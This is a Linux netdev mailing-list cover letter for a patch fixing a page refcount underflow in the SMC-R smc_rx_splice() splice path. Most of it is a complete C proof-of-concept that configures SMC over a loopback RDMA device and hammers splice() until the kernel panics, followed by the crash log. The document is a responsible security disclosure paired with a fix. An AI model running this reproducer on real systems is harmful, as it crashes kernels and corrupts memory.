Netdev List
 help / color / mirror / Atom feed
From: Ren Wei <enjou1224z@gmail.com>
To: linux-rdma@vger.kernel.org, linux-s390@vger.kernel.org,
	netdev@vger.kernel.org
Cc: alibuda@linux.alibaba.com, dust.li@linux.alibaba.com,
	sidraya@linux.ibm.com, mjambigi@linux.ibm.com,
	tonylu@linux.alibaba.com, guwen@linux.alibaba.com,
	davem@davemloft.net, edumazet@google.com, kuba@kernel.org,
	pabeni@redhat.com, horms@kernel.org, ubraun@linux.ibm.com,
	stefan.raspl@linux.ibm.com, vega@nebusec.ai, lx24@stu.ynu.edu.cn,
	d4n.for.sec@gmail.com, enjou1224z@gmail.com
Subject: [PATCH net v2 0/1] net: smc: smc_rx_splice() can underflow VM page refcounts
Date: Thu, 30 Jul 2026 22:55:51 +0800	[thread overview]
Message-ID: <20260730145552.360287-1-enjou1224z@gmail.com> (raw)

From: Daming Li <d4n.for.sec@gmail.com>

From: Daming Li <d4n.for.sec@gmail.com>

Bug details:

The bug is in the VM-backed SMC-R splice path in
`smc_rx_splice()`. It builds a multi-page `splice_pipe_desc` and hands
it to `splice_to_pipe()`, but it does not take page references for all
candidate pages before doing so.

That breaks the splice ownership contract. Pages that are not queued are
released through `smc_rx_spd_release()`, while queued pages are later
released through `smc_rx_pipe_buf_release()`. In the VM-backed path, the
code instead tries to take page references only after `splice_to_pipe()`
returns, and it derives the number of queued pages from a mutated
`offset` value.

As a result, unqueued pages can see a bare `put_page()`, and queued VM
pages can be under-accounted as well. This can underflow page refcounts
on RMB backing pages and lead to use-after-free or double-free-style
page lifecycle corruption, with the crash later surfacing in the SMC-R
or RDMA data path.

Reproducer:

cc -O2 -pthread -Wall -Wextra -o mini_poc mini_poc.c
./mini_poc


We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------

#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/genetlink.h>
#include <linux/netlink.h>
#include <linux/smc.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>

#ifndef AF_SMC
#define AF_SMC 43
#endif

#ifndef SMC_GENL_FAMILY_NAME
#define SMC_GENL_FAMILY_NAME "SMC_GEN_NETLINK"
#endif
#ifndef SMC_GENL_FAMILY_VERSION
#define SMC_GENL_FAMILY_VERSION 1
#endif
#ifndef SMC_MAX_EID_LEN
#define SMC_MAX_EID_LEN 32
#endif
#ifndef SMC_NETLINK_ADD_UEID
#define SMC_NETLINK_ADD_UEID 10
#endif
#ifndef SMC_NLA_EID_TABLE_ENTRY
#define SMC_NLA_EID_TABLE_ENTRY 1
#endif

#define PNET_FAMILY_NAME "SMC_PNETID"
#define PNET_FAMILY_VERSION 1
#define PNET_CMD_ADD 2
#define PNET_A_NAME 1
#define PNET_A_ETHNAME 2
#define PNET_A_IBNAME 3
#define PNET_A_IBPORT 4

#ifndef NLA_ALIGNTO
#define NLA_ALIGNTO 4
#endif
#ifndef NLA_ALIGN
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))
#endif
#ifndef NLA_HDRLEN
#define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr)))
#endif
#ifndef NLA_DATA
#define NLA_DATA(nla) ((void *)((char *)(nla) + NLA_HDRLEN))
#endif
#ifndef NLA_NEXT
#define NLA_NEXT(nla, attrlen) ((attrlen) -= NLA_ALIGN((nla)->nla_len), \
				(struct nlattr *)(((char *)(nla)) + NLA_ALIGN((nla)->nla_len)))
#endif
#ifndef NLA_OK
#define NLA_OK(nla, len) ((len) >= (int)sizeof(struct nlattr) && \
			  (nla)->nla_len >= sizeof(struct nlattr) && \
			  (nla)->nla_len <= (len))
#endif
#ifndef NLA_TYPE_MASK
#define NLA_TYPE_MASK 0x3fff
#endif

static volatile int server_ready;
static volatile int stop_server;
static int g_port = 27555;

static void die(const char *msg)
{
	perror(msg);
	exit(1);
}

static int run_cmd(const char *cmd)
{
	int status = system(cmd);

	if (status == -1)
		return -1;
	if (!WIFEXITED(status))
		return -1;
	return WEXITSTATUS(status);
}

static int write_file(const char *path, const char *value)
{
	int fd = open(path, O_WRONLY);
	ssize_t len = strlen(value);

	if (fd < 0)
		return -1;
	if (write(fd, value, len) != len) {
		close(fd);
		return -1;
	}
	close(fd);
	return 0;
}

static int add_attr(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
		    const void *data, size_t len)
{
	size_t total = NLA_ALIGN(sizeof(struct nlattr) + len);
	struct nlattr *nla;

	if (NLMSG_ALIGN(nlh->nlmsg_len) + total > maxlen)
		return -1;

	nla = (struct nlattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
	nla->nla_type = type;
	nla->nla_len = sizeof(struct nlattr) + len;
	memcpy((char *)nla + sizeof(struct nlattr), data, len);
	memset((char *)nla + nla->nla_len, 0, total - nla->nla_len);
	nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + total;
	return 0;
}

static int resolve_family_id(int fd, const char *name)
{
	char buf[1024] = {0};
	char rbuf[8192];
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	struct genlmsghdr *gh = (struct genlmsghdr *)(nlh + 1);
	struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
	struct iovec iov = { .iov_base = nlh, .iov_len = 0 };
	struct msghdr msg = {
		.msg_name = &sa,
		.msg_namelen = sizeof(sa),
		.msg_iov = &iov,
		.msg_iovlen = 1,
	};
	struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
	struct msghdr rmsg = {
		.msg_name = &sa,
		.msg_namelen = sizeof(sa),
		.msg_iov = &riov,
		.msg_iovlen = 1,
	};
	ssize_t len;

	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
	nlh->nlmsg_type = GENL_ID_CTRL;
	nlh->nlmsg_flags = NLM_F_REQUEST;
	nlh->nlmsg_seq = 1;
	gh->cmd = CTRL_CMD_GETFAMILY;
	gh->version = 1;

	if (add_attr(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME,
		     name, strlen(name) + 1) < 0)
		return -1;

	iov.iov_len = nlh->nlmsg_len;
	if (sendmsg(fd, &msg, 0) < 0)
		return -1;

	len = recvmsg(fd, &rmsg, 0);
	if (len < 0)
		return -1;

	for (struct nlmsghdr *nh = (struct nlmsghdr *)rbuf;
	     NLMSG_OK(nh, (unsigned int)len);
	     nh = NLMSG_NEXT(nh, len)) {
		if (nh->nlmsg_type == NLMSG_ERROR)
			return -1;
		if (nh->nlmsg_type != GENL_ID_CTRL)
			continue;

		struct genlmsghdr *g = NLMSG_DATA(nh);
		int rem = nh->nlmsg_len - NLMSG_LENGTH(sizeof(*g));
		struct nlattr *a = (struct nlattr *)((char *)g + sizeof(*g));

		for (; NLA_OK(a, rem); a = NLA_NEXT(a, rem)) {
			if ((a->nla_type & NLA_TYPE_MASK) == CTRL_ATTR_FAMILY_ID)
				return *(uint16_t *)NLA_DATA(a);
		}
	}

	errno = ENOENT;
	return -1;
}

static int send_and_wait_ack(int fd, struct nlmsghdr *nlh)
{
	struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
	struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
	struct msghdr msg = {
		.msg_name = &sa,
		.msg_namelen = sizeof(sa),
		.msg_iov = &iov,
		.msg_iovlen = 1,
	};

	if (sendmsg(fd, &msg, 0) < 0)
		return -1;

	for (;;) {
		char rbuf[8192];
		struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
		struct msghdr rmsg = {
			.msg_name = &sa,
			.msg_namelen = sizeof(sa),
			.msg_iov = &riov,
			.msg_iovlen = 1,
		};
		ssize_t len = recvmsg(fd, &rmsg, 0);

		if (len < 0)
			return -1;

		for (struct nlmsghdr *nh = (struct nlmsghdr *)rbuf;
		     NLMSG_OK(nh, (unsigned int)len);
		     nh = NLMSG_NEXT(nh, len)) {
			if (nh->nlmsg_seq != nlh->nlmsg_seq)
				continue;
			if (nh->nlmsg_type == NLMSG_ERROR) {
				struct nlmsgerr *e = NLMSG_DATA(nh);

				if (e->error == 0)
					return 0;
				errno = -e->error;
				return -1;
			}
			if (nh->nlmsg_type == NLMSG_DONE)
				return 0;
		}
	}
}

static int add_pnet_mapping(void)
{
	char buf[1024] = {0};
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	struct genlmsghdr *gh = (struct genlmsghdr *)(nlh + 1);
	uint8_t port = 1;
	int fd, fam, ret;

	fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
	if (fd < 0)
		return -1;

	fam = resolve_family_id(fd, PNET_FAMILY_NAME);
	if (fam < 0) {
		close(fd);
		return -1;
	}

	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
	nlh->nlmsg_type = fam;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_seq = 101;
	gh->cmd = PNET_CMD_ADD;
	gh->version = PNET_FAMILY_VERSION;

	if (add_attr(nlh, sizeof(buf), PNET_A_NAME, "PNETLO", 7) < 0 ||
	    add_attr(nlh, sizeof(buf), PNET_A_ETHNAME, "lo", 3) < 0 ||
	    add_attr(nlh, sizeof(buf), PNET_A_IBNAME, "rxe_lo", 7) < 0 ||
	    add_attr(nlh, sizeof(buf), PNET_A_IBPORT, &port, sizeof(port)) < 0) {
		close(fd);
		errno = EMSGSIZE;
		return -1;
	}

	ret = send_and_wait_ack(fd, nlh);
	close(fd);
	return ret;
}

static int add_ueid(void)
{
	char buf[1024] = {0};
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	struct genlmsghdr *gh = (struct genlmsghdr *)(nlh + 1);
	int fd, fam, ret;
	static const char ueid[SMC_MAX_EID_LEN + 1] =
		"ABCDEFGHIJKLMNOPQRSTUVWX12345678";

	fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
	if (fd < 0)
		return -1;

	fam = resolve_family_id(fd, SMC_GENL_FAMILY_NAME);
	if (fam < 0) {
		close(fd);
		return -1;
	}

	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
	nlh->nlmsg_type = fam;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_seq = 102;
	gh->cmd = SMC_NETLINK_ADD_UEID;
	gh->version = SMC_GENL_FAMILY_VERSION;

	if (add_attr(nlh, sizeof(buf), SMC_NLA_EID_TABLE_ENTRY,
		     ueid, sizeof(ueid)) < 0) {
		close(fd);
		errno = EMSGSIZE;
		return -1;
	}

	ret = send_and_wait_ack(fd, nlh);
	close(fd);
	return ret;
}

static void drain_pipe(int rfd)
{
	char tmp[8192];

	for (;;) {
		ssize_t n = read(rfd, tmp, sizeof(tmp));

		if (n <= 0)
			break;
	}
}

static void *server_thread(void *arg)
{
	int ls;
	int one = 1;
	struct sockaddr_in addr;
	static char payload[65536];

	(void)arg;

	ls = socket(AF_SMC, SOCK_STREAM, 0);
	if (ls < 0)
		die("server socket(AF_SMC)");

	if (setsockopt(ls, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
		die("setsockopt(SO_REUSEADDR)");

	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_port = htons(g_port);
	if (inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr) != 1)
		die("inet_pton");

	if (bind(ls, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("bind");
	if (listen(ls, 64) < 0)
		die("listen");

	memset(payload, 'R', sizeof(payload));
	__atomic_store_n(&server_ready, 1, __ATOMIC_RELEASE);

	while (!__atomic_load_n(&stop_server, __ATOMIC_ACQUIRE)) {
		int cs = accept(ls, NULL, NULL);

		if (cs < 0) {
			if (errno == EINTR)
				continue;
			break;
		}

		while (!__atomic_load_n(&stop_server, __ATOMIC_ACQUIRE)) {
			ssize_t n = send(cs, payload, sizeof(payload), 0);

			if (n < 0)
				break;
		}

		close(cs);
	}

	close(ls);
	return NULL;
}

static void run_round(int round)
{
	struct sockaddr_in addr;
	int s, p[2], flags;
	char first;
	char fill[4096];
	int i;

	s = socket(AF_SMC, SOCK_STREAM, 0);
	if (s < 0)
		die("client socket(AF_SMC)");

	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_port = htons(g_port);
	if (inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr) != 1)
		die("inet_pton");

	if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("connect");
	if (recv(s, &first, 1, 0) != 1)
		die("recv first byte");
	if (pipe(p) < 0)
		die("pipe");
	if (fcntl(p[1], F_SETPIPE_SZ, 8192) < 0)
		die("F_SETPIPE_SZ");

	flags = fcntl(p[0], F_GETFL, 0);
	if (flags < 0)
		die("fcntl(F_GETFL, read)");
	if (fcntl(p[0], F_SETFL, flags | O_NONBLOCK) < 0)
		die("fcntl(F_SETFL, read)");

	flags = fcntl(p[1], F_GETFL, 0);
	if (flags < 0)
		die("fcntl(F_GETFL, write)");
	if (fcntl(p[1], F_SETFL, flags | O_NONBLOCK) < 0)
		die("fcntl(F_SETFL, write)");

	memset(fill, 0x42, sizeof(fill));
	for (i = 0; i < 20000; i++) {
		ssize_t n;

		drain_pipe(p[0]);
		if (write(p[1], fill, sizeof(fill)) != (ssize_t)sizeof(fill))
			die("prefill write");

		n = splice(s, NULL, p[1], NULL, 65535,
			   SPLICE_F_NONBLOCK | SPLICE_F_MOVE);
		if (n < 0 && errno != EAGAIN && errno != EFAULT)
			die("splice");
	}

	close(p[0]);
	close(p[1]);
	close(s);

	if ((round % 5) == 0)
		fprintf(stderr, "round=%d done\n", round);
}

static void setup_runtime(void)
{
	if (geteuid() != 0) {
		fprintf(stderr, "run as root\n");
		exit(1);
	}

	if (run_cmd("rdma link add rxe_lo type rxe netdev lo >/dev/null 2>&1") != 0)
		die("rdma link add rxe_lo");
	if (add_pnet_mapping() < 0)
		die("add_pnet_mapping");
	if (add_ueid() < 0)
		die("add_ueid");
	if (write_file("/proc/sys/net/smc/smcr_buf_type", "2\n") < 0)
		die("write smcr_buf_type");
}

int main(void)
{
	pthread_t th;
	int r;

	setup_runtime();

	if (pthread_create(&th, NULL, server_thread, NULL)) {
		fprintf(stderr, "pthread_create failed\n");
		return 1;
	}

	while (!__atomic_load_n(&server_ready, __ATOMIC_ACQUIRE))
		usleep(1000);

	for (r = 0; r < 200; r++)
		run_round(r);

	__atomic_store_n(&stop_server, 1, __ATOMIC_RELEASE);

	/* Unblock accept so server thread can exit cleanly if no panic happened. */
	{
		int s = socket(AF_SMC, SOCK_STREAM, 0);

		if (s >= 0) {
			struct sockaddr_in addr;

			memset(&addr, 0, sizeof(addr));
			addr.sin_family = AF_INET;
			addr.sin_port = htons(g_port);
			inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr);
			connect(s, (struct sockaddr *)&addr, sizeof(addr));
			close(s);
		}
	}

	pthread_join(th, NULL);
	return 0;
}


------END poc.c--------

----BEGIN crash log----

[   99.609149][   T29] audit: type=1400 audit(1781096375.697:35): avc:  denied  { write } for  pid=9261 comm="mini_poc" scontext=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 tcontext=system_u:object_r:unlabeled_t:s0 tclass=smc_socket permissive=1
[   99.612034][ T9261] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x36f30
[   99.614228][ T9261] flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
[   99.615006][ T9261] page_type: f0(buddy)
[   99.617554][ T9261] page dumped because: VM_BUG_ON_FOLIO(((unsigned int) folio_ref_count(folio) + 127u <= 127u))
[   99.618643][ T9261] page_owner tracks the page as freed
[   99.619251][ T9261] page last allocated via order 4, migratetype Unmovable, gfp_mask 0xd2dc0(GFP_KERNEL|__GFP_ZERO|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 9261, tgid 9261 (mini_poc), ts 99605686630, free_ts 99611922370
[   99.630382][ T9261] page last free pid 9261 tgid 9261 stack trace:
[   99.631009][ T9261]  __free_pages_ok+0x63f/0xe80
[   99.631502][ T9261]  __folio_put+0x320/0x4f0
[   99.631988][ T9261]  smc_rx_pipe_buf_release+0x418/0x4e0
[   99.632561][ T9261]  anon_pipe_read+0x5ac/0x1120
[   99.633048][ T9261]  vfs_read+0xa33/0xc70
[   99.633458][ T9261]  ksys_read+0x1ef/0x240
[   99.633890][ T9261]  do_syscall_64+0x11f/0x860
[   99.634374][ T9261]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   99.635404][ T9261] ------------[ cut here ]------------
[   99.635908][ T9261] kernel BUG at include/linux/mm.h:2051!
[   99.637933][ T9261] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
[   99.638597][ T9261] CPU: 1 UID: 0 PID: 9261 Comm: mini_poc Not tainted 7.1.0-rc6-00220-g627366c51145 #4 PREEMPT(full)
[   99.653791][ T9261]  smc_splice_read+0x287/0x420
[   99.654311][ T9261]  sock_splice_read+0xb7/0x120
[   99.655927][ T9261]  do_splice_read+0x285/0x360
[   99.656630][ T9261]  splice_file_to_pipe+0x108/0x120
[   99.657638][ T9261]  do_splice+0x1500/0x1f40
[   99.658867][ T9261]  __do_splice+0x14d/0x270
[   99.659368][ T9261]  __x64_sys_splice+0x18f/0x260
[   99.660107][ T9261]  do_syscall_64+0x11f/0x860
[   99.660521][ T9261]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   99.668234][ T9261] RIP: 0010:smc_rx_recvmsg+0x2573/0x2ca0
[   99.676748][ T9261] Kernel panic - not syncing: Fatal exception


-----END crash log-----

Changes in v2:
- Rebase onto the latest net tree at 14fa65d10f5696b063a7d8d26e8291ea84a2c6ed.
- Keep the offset declaration in its original position per Dust Li.
- Add Reviewed-by tags from Dust Li and Sidraya Jayagond.

Daming Li (1):
  net: smc: fix splice entry lifetime imbalance in smc_rx_splice

net/smc/smc_rx.c | 19 ++++++++++---------
 1 file changed, 10 insertions(+), 9 deletions(-)

-- 
2.34.1

             reply	other threads:[~2026-07-30 14:56 UTC|newest]

Thread overview: 2+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-07-30 14:55 Ren Wei [this message]
2026-07-30 14:55 ` [PATCH net v2 1/1] net: smc: fix splice entry lifetime imbalance in smc_rx_splice Ren Wei

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20260730145552.360287-1-enjou1224z@gmail.com \
    --to=enjou1224z@gmail.com \
    --cc=alibuda@linux.alibaba.com \
    --cc=d4n.for.sec@gmail.com \
    --cc=davem@davemloft.net \
    --cc=dust.li@linux.alibaba.com \
    --cc=edumazet@google.com \
    --cc=guwen@linux.alibaba.com \
    --cc=horms@kernel.org \
    --cc=kuba@kernel.org \
    --cc=linux-rdma@vger.kernel.org \
    --cc=linux-s390@vger.kernel.org \
    --cc=lx24@stu.ynu.edu.cn \
    --cc=mjambigi@linux.ibm.com \
    --cc=netdev@vger.kernel.org \
    --cc=pabeni@redhat.com \
    --cc=sidraya@linux.ibm.com \
    --cc=stefan.raspl@linux.ibm.com \
    --cc=tonylu@linux.alibaba.com \
    --cc=ubraun@linux.ibm.com \
    --cc=vega@nebusec.ai \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox